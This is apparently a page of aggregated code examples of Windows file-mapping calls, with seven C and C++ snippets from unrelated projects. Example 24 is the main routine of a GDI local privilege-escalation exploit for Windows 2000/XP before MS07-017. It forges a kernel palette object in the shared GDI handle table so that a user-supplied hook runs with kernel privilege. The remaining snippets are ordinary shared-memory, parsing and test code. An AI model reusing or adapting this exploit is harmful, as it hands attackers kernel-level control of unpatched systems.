Exemplo n.º 24
0
int main(int argc, char *argv[])
{    
    SECTION_BASIC_INFORMATION SectionInfo;    
    PGDI_TABLE_ENTRY pGdiEntry;
    PLOGPALETTE pLogPal;
    HANDLE hPal;
    PVOID OriginalPalObject;
    PVOID FalsePalObject; 
       
    HANDLE hThread = GetCurrentThread();  
    DWORD OriginalThreadPriotity = GetThreadPriority (hThread);  
    HANDLE hSection = (ULONG)0;  
    PVOID MapFile = 0;
    HANDLE hProcess = (HANDLE)0xFFFFFFFF;
    WORD Pid = GetCurrentProcessId();                 
                  
   	NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection");
         
    printf ("##########################################################\n");                
    printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n");
    printf ("#        All Windows 2000/XP before MS07-017 patch       #\n");
    printf ("##########################################################\n");   
    printf ("# coded by Lionel d'Hauenens   http://www.labo-asso.com  #\n");
    printf ("##########################################################\n\n");                                     
                                                      
    // Search handle section and mapper in virtual memory of user
    while ((DWORD)hSection<0xFFFF) 
    {
        SectionInfo.Attributes = 0;  
        MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0); 
        if (MapFile)
        {
            NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);
            if (SectionInfo.Attributes == SEC_COMMIT) break;  // For compatibility with win2k 
            UnmapViewOfFile(MapFile); 
            MapFile = 0;
        }                
        hSection++;
    }

    if (!MapFile)
    {
       printf ("Could not found shared section !\n");
       exit(0);             
    }              

    // Create Palette
    pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);    
    pLogPal->palNumEntries = 1;
    pLogPal->palVersion = 0x300;
    hPal = (HANDLE)CreatePalette(pLogPal);  
    
    if (!hPal)
    {
       printf ("Could not create palette !\n");
       exit(0);             
    }      
    
    // Search the entry of pal object 
    OriginalPalObject = (PVOID)0;        
    pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;
    while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)
    {
          if ( pGdiEntry->ProcessID == Pid  &&
                  pGdiEntry->nType == PAL_TYPE )
          {
              // Save original pointer
              OriginalPalObject =  (PVOID)pGdiEntry->pKernelInfo;                          
              break;
          }           
          pGdiEntry++;          
    }

    if (!OriginalPalObject)
    {
       printf ("Could not find entry of Pal object !\n");
       exit(0);                  
    }  
    
    // Create the false Pal object
    FalsePalObject                   = (PVOID) calloc(0x100/4,4);
    ((PDWORD)FalsePalObject)[0]      = (DWORD)hPal;   // Handle    
    ((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1;     // Availabled flag
    ((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex 
  
    printf ("Section:\n--------\n");                                                             
    printf ("Handle: 0x%08X    Attributes: %08X    Size: 0x%08X\n\n", hSection
                                                                    , SectionInfo.Attributes
                                                                    , SectionInfo.Size.QuadPart);
    printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject); 
    printf ("Address of user map: 0x%08X\n", MapFile); 
    printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject);  
    printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );     
    printf ("Address of Hook(): 0x%08X\n\n", &hook);  

    //////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////  
    printf ("->Test...");
    flag_test = 0;            
    SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST); 
         
         // Active false Pal object    
         pGdiEntry->pKernelInfo = FalsePalObject;   
                 
              GetNearestPaletteIndex (hPal, 0); //--> call hook() with kernel privilege :);
             
         // Restore original Pal object
         pGdiEntry->pKernelInfo = OriginalPalObject; 
    
    SetThreadPriority (hThread,OriginalThreadPriotity);
    //////////////////////////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////
    
    if (!flag_test) printf ("ERROR !!!\n");
    else printf ("OK :)\n");

    UnmapViewOfFile(MapFile);
    DeleteObject ((HANDLE)hPal);
    free((PVOID)pLogPal);
    free((PVOID)FalsePalObject);  
    system("PAUSE");          
    return (0);         
}
Exemplo n.º 25
0
/*
 * Operating system primitives to support Windows shared memory.
 *
 * Windows shared memory implementation is done using file mapping
 * which can be backed by either physical file or system paging file.
 * Current implementation uses system paging file as other effects
 * like performance are not clear for physical file and it is used in similar
 * way for main shared memory in windows.
 *
 * A memory mapping object is a kernel object - they always get deleted when
 * the last reference to them goes away, either explicitly via a CloseHandle or
 * when the process containing the reference exits.
 */
static bool
dsm_impl_windows(dsm_op op, dsm_handle handle, Size request_size,
				 void **impl_private, void **mapped_address,
				 Size *mapped_size, int elevel)
{
	char	   *address;
	HANDLE		hmap;
	char		name[64];
	MEMORY_BASIC_INFORMATION info;

	/* Resize is not supported for Windows shared memory. */
	if (op == DSM_OP_RESIZE)
	{
		elog(elevel, "Windows shared memory segments cannot be resized");
		return false;
	}

	/* Since resize isn't supported, reattach is a no-op. */
	if (op == DSM_OP_ATTACH && *mapped_address != NULL)
		return true;

	/*
	 * Storing the shared memory segment in the Global\ namespace, can allow
	 * any process running in any session to access that file mapping object
	 * provided that the caller has the required access rights. But to avoid
	 * issues faced in main shared memory, we are using the naming convention
	 * similar to main shared memory. We can change here once issue mentioned
	 * in GetSharedMemName is resolved.
	 */
	snprintf(name, 64, "%s.%u", SEGMENT_NAME_PREFIX, handle);

	/*
	 * Handle teardown cases.  Since Windows automatically destroys the object
	 * when no references reamin, we can treat it the same as detach.
	 */
	if (op == DSM_OP_DETACH || op == DSM_OP_DESTROY)
	{
		if (*mapped_address != NULL
			&& UnmapViewOfFile(*mapped_address) == 0)
		{
			_dosmaperr(GetLastError());
			ereport(elevel,
					(errcode_for_dynamic_shared_memory(),
				   errmsg("could not unmap shared memory segment \"%s\": %m",
						  name)));
			return false;
		}
		if (*impl_private != NULL
			&& CloseHandle(*impl_private) == 0)
		{
			_dosmaperr(GetLastError());
			ereport(elevel,
					(errcode_for_dynamic_shared_memory(),
				  errmsg("could not remove shared memory segment \"%s\": %m",
						 name)));
			return false;
		}

		*impl_private = NULL;
		*mapped_address = NULL;
		*mapped_size = 0;
		return true;
	}

	/* Create new segment or open an existing one for attach. */
	if (op == DSM_OP_CREATE)
	{
		DWORD		size_high;
		DWORD		size_low;

		/* Shifts >= the width of the type are undefined. */
#ifdef _WIN64
		size_high = request_size >> 32;
#else
		size_high = 0;
#endif
		size_low = (DWORD) request_size;

		hmap = CreateFileMapping(INVALID_HANDLE_VALUE,	/* Use the pagefile */
								 NULL,	/* Default security attrs */
								 PAGE_READWRITE,		/* Memory is read/write */
								 size_high,		/* Upper 32 bits of size */
								 size_low,		/* Lower 32 bits of size */
								 name);
		if (!hmap)
		{
			_dosmaperr(GetLastError());
			ereport(elevel,
					(errcode_for_dynamic_shared_memory(),
				  errmsg("could not create shared memory segment \"%s\": %m",
						 name)));
			return false;
		}
		_dosmaperr(GetLastError());
		if (errno == EEXIST)
		{
			/*
			 * On Windows, when the segment already exists, a handle for the
			 * existing segment is returned.  We must close it before
			 * returning.  We don't do _dosmaperr here, so errno won't be
			 * modified.
			 */
			CloseHandle(hmap);
			return false;
		}
	}
Exemplo n.º 26
0
bool CPlaylist::LoadParam()
{
    DWORD    dwIndex;
    DWORD    dwFileSize;
    DWORD    dwFileAttrib;
    const char * pszASXFile;
    const char * pszParam;
    HANDLE   hFile;
    HANDLE   hMap;
    bool     bLastEntry = false;
    bool     bGenerator = false;
    enum  {E_INVALID = 0, E_NOERROR, E_EOF, E_BADMATCH} eError = E_NOERROR;

    if (m_bHidden)
    {
        dwFileAttrib = FILE_ATTRIBUTE_HIDDEN;
    }
    else
    {
        dwFileAttrib = FILE_ATTRIBUTE_NORMAL;
    }

    hFile = CreateFileForMapping(m_pszPath, GENERIC_READ, FILE_SHARE_READ,
                                 NULL, OPEN_EXISTING, dwFileAttrib, NULL);

    if (INVALID_HANDLE_VALUE == hFile)
    {
        return false;
    }

    hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

    if (NULL == hMap)
    {
        CloseHandle(hFile);
        return false;
    }

    dwFileSize = GetFileSize(hFile, NULL);

    pszASXFile = (char*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);

    if (NULL == pszASXFile)
    {
        CloseHandle(hMap);
        CloseHandle(hFile);
        return false;
    }

    // find the occurance of "LAST ENTRY" (case insensitive)
    pszParam = (char*)strnistr(pszASXFile, dwFileSize, "LAST ENTRY");
    if((((DWORD)pszParam)-(DWORD)pszASXFile) > (DWORD)pszASXFile)
    {
        CloseHandle(hMap);
        CloseHandle(hFile);
        return false;
    }

    dwIndex = (DWORD)pszParam - (DWORD)pszASXFile;

    if (pszParam) 
    {
        dwIndex += strlen("LAST ENTRY");

        // skip the trailing quote
        if (dwIndex < dwFileSize)
        {
            if ('\"' == pszASXFile[dwIndex])
            {
                dwIndex++;
            }
        }
        else if (E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // skip spaces
        while (E_NOERROR == eError
               && dwIndex < dwFileSize
               && isspace(pszASXFile[dwIndex]))
        {
            dwIndex++;
        }

        if (dwIndex >= dwFileSize && E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // match "VALUE"
        if (E_NOERROR == eError
            && dwIndex < dwFileSize
            && 0 == _strnicmp(pszASXFile + dwIndex, "VALUE", 5))
        {
            dwIndex += strlen("VALUE");
        }
        else if (E_NOERROR == eError && dwIndex > dwFileSize)
        {
            eError = E_EOF;
        }

        // skip spaces
        while (E_NOERROR == eError
               && dwIndex < dwFileSize
               && isspace(pszASXFile[dwIndex]))
        {
            dwIndex++;
        }

        if (dwIndex >= dwFileSize && E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // match "="
        if (dwIndex < dwFileSize && E_NOERROR == eError)
        {
            if ('=' == pszASXFile[dwIndex])
            {
                dwIndex++;
            }
            else
            {
                eError = E_BADMATCH;
            }
        }
        else if (E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // skip spaces
        while (E_NOERROR == eError
               && dwIndex < dwFileSize
               && isspace(pszASXFile[dwIndex]))
        {
            dwIndex++;
        }

        if (dwIndex >= dwFileSize && E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // match quote
        if (dwIndex < dwFileSize && E_NOERROR == eError)
        {
            if ('\"' == pszASXFile[dwIndex])
            {
                dwIndex++;
            }
        }
        else if (E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // get the number
        if (E_NOERROR == eError
            && dwIndex < dwFileSize
            && 1 == sscanf(pszASXFile + dwIndex, "%d", &m_iCurrentTrack))
        {
            bLastEntry = true;
        }
        else if (E_NOERROR == eError && dwIndex >= dwFileSize)
        {
            eError = E_BADMATCH;
            SetCurrent(-1);
        }
    }

    // find the occurance of "GENERATOR" (case insensitive)
    pszParam = (char*)strnistr(pszASXFile, dwFileSize, "GENERATOR");
    dwIndex = (DWORD)pszParam - (DWORD)pszASXFile;

    if (pszParam) 
    {
        dwIndex += strlen("GENERATOR");

        // skip the trailing quote
        if (dwIndex < dwFileSize)
        {
            if ('\"' == pszASXFile[dwIndex])
            {
                dwIndex++;
            }
        }
        else if (E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // skip spaces
        while (E_NOERROR == eError
               && dwIndex < dwFileSize
               && isspace(pszASXFile[dwIndex]))
        {
            dwIndex++;
        }

        if (dwIndex >= dwFileSize && E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // match "VALUE"
        if (E_NOERROR == eError
            && dwIndex < dwFileSize
            && 0 == _strnicmp(pszASXFile + dwIndex, "VALUE", 5))
        {
            dwIndex += strlen("VALUE");
        }
        else if (E_NOERROR == eError && dwIndex > dwFileSize)
        {
            eError = E_EOF;
        }

        // skip spaces
        while (E_NOERROR == eError
               && dwIndex < dwFileSize
               && isspace(pszASXFile[dwIndex]))
        {
            dwIndex++;
        }

        if (dwIndex >= dwFileSize && E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // match "="
        if (dwIndex < dwFileSize && E_NOERROR == eError)
        {
            if ('=' == pszASXFile[dwIndex])
            {
                dwIndex++;
            }
            else
            {
                eError = E_BADMATCH;
            }
        }
        else if (E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // skip spaces
        while (E_NOERROR == eError
               && dwIndex < dwFileSize
               && isspace(pszASXFile[dwIndex]))
        {
            dwIndex++;
        }

        if (dwIndex >= dwFileSize && E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // match quote
        if (dwIndex < dwFileSize && E_NOERROR == eError)
        {
            if ('\"' == pszASXFile[dwIndex])
            {
                dwIndex++;
            }
        }
        else if (E_NOERROR == eError)
        {
            eError = E_EOF;
        }

        // examine the value 
        if (E_NOERROR == eError
            && dwIndex < dwFileSize
            && 0 == _strnicmp(pszASXFile + dwIndex, "CEPLAYER", 8))
        {
            bGenerator    = true;
            m_bCEPlaylist = true;
        }
        else if (E_NOERROR == eError && dwIndex >= dwFileSize)
        {
            eError = E_BADMATCH;
        }
    }

    UnmapViewOfFile(pszASXFile);
    CloseHandle(hMap);
    CloseHandle(hFile);

    return bLastEntry && bGenerator;
}
Exemplo n.º 27
0
int am_shm_lock(am_shm_t *am) {
    struct mem_pool *pool;
    int rv = AM_SUCCESS;

    /* once we enter the critical section, check if any other process hasn't 
     * re-mapped our segment somewhere else (compare local_size to global_size which
     * will differ after successful am_shm_resize)
     */

#ifdef _WIN32
    do {
        am->error = WaitForSingleObject(am->h[0], INFINITE);
    } while (am->error == WAIT_ABANDONED);

    if (am->local_size != *(am->global_size)) {
        if (UnmapViewOfFile(am->pool) == 0) {
            am->error = GetLastError();
            return AM_EFAULT;
        }
        if (CloseHandle(am->h[2]) == 0) {
            am->error = GetLastError();
            return AM_EFAULT;
        }
        am->h[2] = CreateFileMappingA(am->h[1], NULL, PAGE_READWRITE, 0, (DWORD) *(am->global_size), NULL);
        am->error = GetLastError();
        if (am->h[2] == NULL) {
            return AM_EFAULT;
        }
        am->pool = (struct mem_pool *) MapViewOfFile(am->h[2], FILE_MAP_ALL_ACCESS, 0, 0, 0);
        am->error = GetLastError();
        if (am->pool == NULL || (am->error != 0 && am->error != ERROR_ALREADY_EXISTS)) {
            return AM_EFAULT;
        }

        pool = (struct mem_pool *) am->pool;
        am->local_size = *(am->global_size);
        if (pool->user_offset > 0) {
            am->user = AM_GET_POINTER(pool, pool->user_offset);
        }
    }

#else
    pthread_mutex_t *lock = (pthread_mutex_t *) am->lock;
    am->error = pthread_mutex_lock(lock);
#if !defined(__APPLE__) && !defined(AIX)
    if (am->error == EOWNERDEAD) {
        am->error = pthread_mutex_consistent_np(lock);
    }
#endif
    if (am->local_size != *(am->global_size)) {
        am->error = munmap(am->pool, am->local_size);
        if (am->error == -1) {
            am->error = errno;
            rv = AM_EFAULT;
        }
        am->pool = mmap(NULL, *(am->global_size), PROT_READ | PROT_WRITE, MAP_SHARED, am->fd, 0);
        if (am->pool == MAP_FAILED) {
            am->error = errno;
            rv = AM_EFAULT;
        }

        pool = (struct mem_pool *) am->pool;
        am->local_size = *(am->global_size);
        if (pool->user_offset > 0) {
            am->user = AM_GET_POINTER(pool, pool->user_offset);
        }
    }
#endif
    return rv;
}
Exemplo n.º 28
0
MUUID* GetPluginInterfaces(const TCHAR* ptszFileName, bool& bIsPlugin)
{
	bIsPlugin = false;

	HANDLE hFile = CreateFile( ptszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL );
	if (hFile == INVALID_HANDLE_VALUE)
		return NULL;

	MUUID* pResult = NULL;
	BYTE* ptr = NULL;
	HANDLE hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL );

	__try {
		__try {
			if (!hMap )
				__leave;

			DWORD dwHSize = 0, filesize = GetFileSize( hFile, &dwHSize );
			if (!filesize || filesize == INVALID_FILE_SIZE || dwHSize)
				__leave;

			if ( filesize < sizeof(IMAGE_DOS_HEADER) + sizeof(IMAGE_NT_HEADERS) )
				__leave;

			ptr = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
			if (ptr == NULL)
				__leave;

			PIMAGE_NT_HEADERS pINTH;
			PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)ptr;
			if ( pIDH->e_magic == IMAGE_DOS_SIGNATURE )
				pINTH = (PIMAGE_NT_HEADERS)(ptr + pIDH->e_lfanew);
			else
				__leave;

			if ((PBYTE)pINTH + sizeof(IMAGE_NT_HEADERS) >= ptr + filesize )
				__leave;
			if ( pINTH->Signature != IMAGE_NT_SIGNATURE )
				__leave;

			int nSections = pINTH->FileHeader.NumberOfSections;
			if (!nSections )
				__leave;

			INT_PTR base;
			PIMAGE_DATA_DIRECTORY pIDD;
			if ( pINTH->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 &&
				  pINTH->FileHeader.SizeOfOptionalHeader >= sizeof(IMAGE_OPTIONAL_HEADER32) &&
				  pINTH->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
			{
				pIDD = (PIMAGE_DATA_DIRECTORY)( (PBYTE)pINTH + offsetof( IMAGE_NT_HEADERS32, OptionalHeader.DataDirectory ));
				base = *(DWORD*)((PBYTE)pINTH + offsetof(IMAGE_NT_HEADERS32, OptionalHeader.ImageBase));
			}
			else if ( pINTH->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 &&
						 pINTH->FileHeader.SizeOfOptionalHeader >= sizeof(IMAGE_OPTIONAL_HEADER64) &&
						 pINTH->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
			{
				pIDD = (PIMAGE_DATA_DIRECTORY)( (PBYTE)pINTH + offsetof( IMAGE_NT_HEADERS64, OptionalHeader.DataDirectory ));
				base = *(ULONGLONG*)((PBYTE)pINTH + offsetof(IMAGE_NT_HEADERS64, OptionalHeader.ImageBase ));
			}
			else __leave;

			// Export information entry
			DWORD expvaddr = pIDD[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
			DWORD expsize  = pIDD[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
			if (expsize < sizeof(IMAGE_EXPORT_DIRECTORY)) __leave;

			BYTE* pImage = ptr + pIDH->e_lfanew + pINTH->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_NT_HEADERS) - sizeof(IMAGE_OPTIONAL_HEADER);
			IMAGE_SECTION_HEADER *pExp = getSectionByRVA((IMAGE_SECTION_HEADER *)pImage, nSections, pIDD);
			if (!pExp) __leave;

			BYTE *pSecStart = ptr + pExp->PointerToRawData - pExp->VirtualAddress;
			IMAGE_EXPORT_DIRECTORY *pED = (PIMAGE_EXPORT_DIRECTORY)&pSecStart[expvaddr];
			DWORD *ptrRVA = (DWORD*)&pSecStart[pED->AddressOfNames];
			WORD  *ptrOrdRVA = (WORD*)&pSecStart[pED->AddressOfNameOrdinals];
			DWORD *ptrFuncList = (DWORD*)&pSecStart[pED->AddressOfFunctions];

			MUUID* pIds;
			bool bHasLoad = false, bHasUnload = false, bHasInfo = false, bHasMuuids = false;
			for (size_t i=0; i < pED->NumberOfNames; i++, ptrRVA++, ptrOrdRVA++) {
				char *szName = (char*)&pSecStart[*ptrRVA];
				if (!lstrcmpA(szName, "Load"))
					bHasLoad = true;
				if (!lstrcmpA(szName, "MirandaPluginInfoEx"))
					bHasInfo = true;
				else if (!lstrcmpA(szName, "Unload"))
					bHasUnload = true;
				else if (!lstrcmpA(szName, "MirandaInterfaces")) {
					bHasMuuids = true;
					pIds = (MUUID*)&pSecStart[ ptrFuncList[*ptrOrdRVA]];
				}
				// old plugin, skip it
				else if (!lstrcmpA(szName, "MirandaPluginInterfaces"))
					__leave;
			}

			// a plugin might have no interfaces
			if (bHasLoad && bHasUnload && bHasInfo)
				bIsPlugin = true;

			if (!bHasLoad || !bHasMuuids || !bHasUnload)
				__leave;

			int nLength = 1; // one for MIID_LAST
			for (MUUID* p = pIds; !equalUUID(*p, miid_last); p++)
				nLength++;

			pResult = (MUUID*)mir_alloc( sizeof(MUUID)*nLength);
			if (pResult)
				memcpy(pResult, pIds, sizeof(MUUID)*nLength);
		}
		__except(EXCEPTION_EXECUTE_HANDLER)
		{};
	}
	__finally
	{
		if (ptr) UnmapViewOfFile(ptr);
		if (hMap) CloseHandle(hMap);
		CloseHandle(hFile);
	};

	return pResult;
}
Exemplo n.º 29
0
template <typename PointT> int
pcl::PCDWriter::writeBinary (const std::string &file_name, 
                             const pcl::PointCloud<PointT> &cloud)
{
  if (cloud.points.empty ())
  {
    throw pcl::IOException ("[pcl::PCDWriter::writeBinary] Input point cloud has no data!");
    return (-1);
  }
  int data_idx = 0;
  std::ostringstream oss;
  oss << generateHeader<PointT> (cloud) << "DATA binary\n";
  oss.flush ();
  data_idx = (int) oss.tellp ();

#if _WIN32
  HANDLE h_native_file = CreateFile (file_name.c_str (), GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if(h_native_file == INVALID_HANDLE_VALUE)
  {
    throw pcl::IOException ("[pcl::PCDWriter::writeBinary] Error during CreateFile!");
    return (-1);
  }
#else
  int fd = pcl_open (file_name.c_str (), O_RDWR | O_CREAT | O_TRUNC, (mode_t)0600);
  if (fd < 0)
  {
    throw pcl::IOException ("[pcl::PCDWriter::writeBinary] Error during open!");
    return (-1);
  }
#endif

  std::vector<sensor_msgs::PointField> fields;
  std::vector<int> fields_sizes;
  size_t fsize = 0;
  size_t data_size = 0;
  size_t nri = 0;
  pcl::getFields (cloud, fields);
  // Compute the total size of the fields
  for (size_t i = 0; i < fields.size (); ++i)
  {
    if (fields[i].name == "_")
      continue;
    
    int fs = fields[i].count * getFieldSize (fields[i].datatype);
    fsize += fs;
    fields_sizes.push_back (fs);
    fields[nri++] = fields[i];
  }
  fields.resize (nri);
  
  data_size = cloud.points.size () * fsize;

  // Prepare the map
#if _WIN32
  HANDLE fm = CreateFileMapping (h_native_file, NULL, PAGE_READWRITE, 0, data_idx + data_size, NULL);
  char *map = static_cast<char*>(MapViewOfFile (fm, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, data_idx + data_size));
  CloseHandle (fm);

#else
  // Stretch the file size to the size of the data
  int result = pcl_lseek (fd, getpagesize () + data_size - 1, SEEK_SET);
  if (result < 0)
  {
    pcl_close (fd);
    throw pcl::IOException ("[pcl::PCDWriter::writeBinary] Error during lseek ()!");
    return (-1);
  }
  // Write a bogus entry so that the new file size comes in effect
  result = ::write (fd, "", 1);
  if (result != 1)
  {
    pcl_close (fd);
    throw pcl::IOException ("[pcl::PCDWriter::writeBinary] Error during write ()!");
    return (-1);
  }

  char *map = (char*)mmap (0, data_idx + data_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
  if (map == MAP_FAILED)
  {
    pcl_close (fd);
    throw pcl::IOException ("[pcl::PCDWriter::writeBinary] Error during mmap ()!");
    return (-1);
  }
#endif

  // Copy the header
  memcpy (&map[0], oss.str ().c_str (), data_idx);

  // Copy the data
  char *out = &map[0] + data_idx;
  for (size_t i = 0; i < cloud.points.size (); ++i)
  {
    int nrj = 0;
    for (size_t j = 0; j < fields.size (); ++j)
    {
      memcpy (out, (const char*)&cloud.points[i] + fields[j].offset, fields_sizes[nrj]);
      out += fields_sizes[nrj++];
    }
  }

  // Unmap the pages of memory
#if _WIN32
    UnmapViewOfFile (map);
#else
  if (munmap (map, (data_idx + data_size)) == -1)
  {
    pcl_close (fd);
    throw pcl::IOException ("[pcl::PCDWriter::writeBinary] Error during munmap ()!");
    return (-1);
  }
#endif
  // Close file
#if _WIN32
  CloseHandle(h_native_file);
#else
  pcl_close (fd);
#endif
  return (0);
}
Exemplo n.º 30
0
int __cdecl main(int argc, char *argv[])
{

    const   int MAPPINGSIZE = 2048;
    HANDLE  hFileMapping;
    LPVOID  lpMapViewAddress;
    char *p;
    int i;

    /* Initialize the PAL environment.
     */
    if(0 != PAL_Initialize(argc, argv))
    {
        return FAIL;
    }

    hFileMapping = CreateFileMappingW(INVALID_HANDLE_VALUE,
                                      NULL,
                                      PAGE_READWRITE,
                                      0,
                                      MAPPINGSIZE,
                                      NULL);

    if (hFileMapping == NULL) {
        Trace("ERROR:%u: CreateFileMappingW() failed\n", GetLastError());
        Fail("");
    }


    lpMapViewAddress = MapViewOfFile(
                            hFileMapping,
                            FILE_MAP_WRITE, /* access code */
                            0,              /* high order offset */
                            0,              /* low order offset */
                            MAPPINGSIZE);   /* number of bytes for map */

    if(NULL == lpMapViewAddress)
    {
        Trace("ERROR:%u: MapViewOfFile() failed.\n",
              GetLastError());
        CloseHandle(hFileMapping);
        Fail("");
    }

    p = (char *)lpMapViewAddress;
    for (i=0; i<MAPPINGSIZE; ++i) {
        /* Confirm that the memory is zero-initialized */
        if (p[i] != 0) 
        {
            Fail("MapViewOfFile() of pagefile didn't return 0-filled data "
                 "(Offset %d has value 0x%x)\n", i, p[i]);
        }
        /* Confirm that it is writable */
        *(char *)lpMapViewAddress = 0xcc;
    }

    /* Clean-up and Terminate the PAL.
    */
    CloseHandle(hFileMapping);
    UnmapViewOfFile(lpMapViewAddress);
    PAL_Terminate();
    return PASS;
}